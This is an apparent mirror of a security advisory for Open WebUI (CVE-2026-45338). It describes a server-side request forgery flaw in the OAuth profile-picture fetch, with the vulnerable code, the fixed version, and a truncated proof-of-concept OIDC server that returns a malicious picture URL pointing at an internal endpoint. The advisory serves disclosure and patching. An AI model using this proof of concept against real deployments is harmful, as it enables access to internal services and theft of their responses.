AI and data stack advisories

Severe, 6 weeks1498Projects326

1498 severe, 6 weeks · 326 projects

Open WebUIGHSA-24c9-2m8q-qhmh

Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

Open WebUI

CVE-2026-45338 · Published May 14, 2026 · updated Jul 13, 2026

High7.7
Fix: upgrade to 0.9.0 or later
GitHub advisory

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.

Vulnerable Code

```python

backend/open_webui/utils/oauth.py, line ~1337-1345

async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:

# No validate_url() call here

async with aiohttp.ClientSession(trust_env=True) as session:

async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:

if resp.ok:

picture = await resp.read()

base64_encoded_picture = base64.b64encode(picture).decode('utf-8')

return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'

`

The codebase already uses validate_url() for the same SSRF protection pattern in other paths:

  • backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url)
  • backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)

The omission in _process_picture_url() is inconsistent with the project's own security practices.

Affected Code Paths

1. **New user...

Affected versions

PackageAffectedFixed in
open-webui
PyPI
< 0.9.00.9.0
Details and references

## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in `_process_picture_url()` in `backend/open_webui/utils/oauth.py` (line ~1338). The function fetches arbitrary URLs from OAuth `picture` claims without applying `validate_url()`, allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. ## Vulnerable Code ```python # backend/open_webui/utils/oauth.py, line ~1337-1345 async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: # No validate_url() call here async with aiohttp.ClientSession(trust_env=True) as session: async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp: if resp.ok: picture = await resp.read() base64_encoded_picture = base64.b64encode(picture).decode('utf-8') return f'data:{guessed_mime_type};base64,{base64_encoded_picture}' ``` The codebase already uses `validate_url()` for the same SSRF protection pattern in other paths: - `backend/open_webui/utils/files.py:38` - `validate_url(url)` before `requests.get(url)` - `backend/open_webui/routers/images.py:800` - `validate_url(data)` before `requests.get(data)` The omission in `_process_picture_url()` is inconsistent with the project's own security practices. ## Affected Code Paths 1. **New user OAuth signup** (line ~1556): `picture_url = await self._process_picture_url(picture_url, token.get('access_token'))` 2. **Existing user picture update on login** (line ~1536): when `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` ## Steps to Reproduce ### Prerequisites - Open WebUI instance with generic OIDC OAuth configured - `ENABLE_OAUTH_SIGNUP=true` ### Setup **1. Start a minimal OIDC server** that returns a malicious `picture` claim pointing to an internal canary endpoint: ```python """Minimal OIDC PoC server - save as poc_oidc.py""" from http.server import HTTPServer, BaseHTTPRequestHandler import json, urllib.parse SSRF_TARGET = "http://host.docker.internal:9000/canary" CANARY = "SSRF_CONFIRMED_OPEN_WEBUI" class Handler(BaseHTTPRequestHandler): def do_GET(self): path = urllib.parse.urlparse(self.path).path query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query) if path == "/.well-known/openid-configuration": self._json({"issuer":"http://host.docker.internal:9000", "authorization_endpoint":"http://localhost:9000/authorize", "token_endpoint":"http://host.docker.internal:9000/token", "userinfo_endpoint":"http://host.docker.internal:9000/userinfo", "jwks_uri":"http://host.docker.internal:9000/jwks", "response_types_supported":["code"],"subject_types_supported":["public"], "id_token_signing_alg_values_supported":["RS256"], "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]}) elif path == "/authorize": ru = query.get("redirect_uri",[""])[0] st = query.get("state",[""])[0] self.send_response(302) self.send_header("Location", f"{ru}?code=poc-code&state={st}") self.end_headers() elif path == "/userinfo": self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}) elif path == "/jwks": self._json({"keys":[]}) elif path == "/canary": self.send_response(200) self.send_header("Content-Type","text/plain") body = CANARY.encode() self.send_header("Content-Length",len(body)) self.end_headers() self.wfile.write(body) print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!") else: self.send_response(404); self.end_headers() def do_POST(self): if "/token" in self.path: self._json({"access_token":"tok","t

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-918
Also known as
CVE-2026-45338, PYSEC-2026-2691

More Open WebUI advisories

All Open WebUI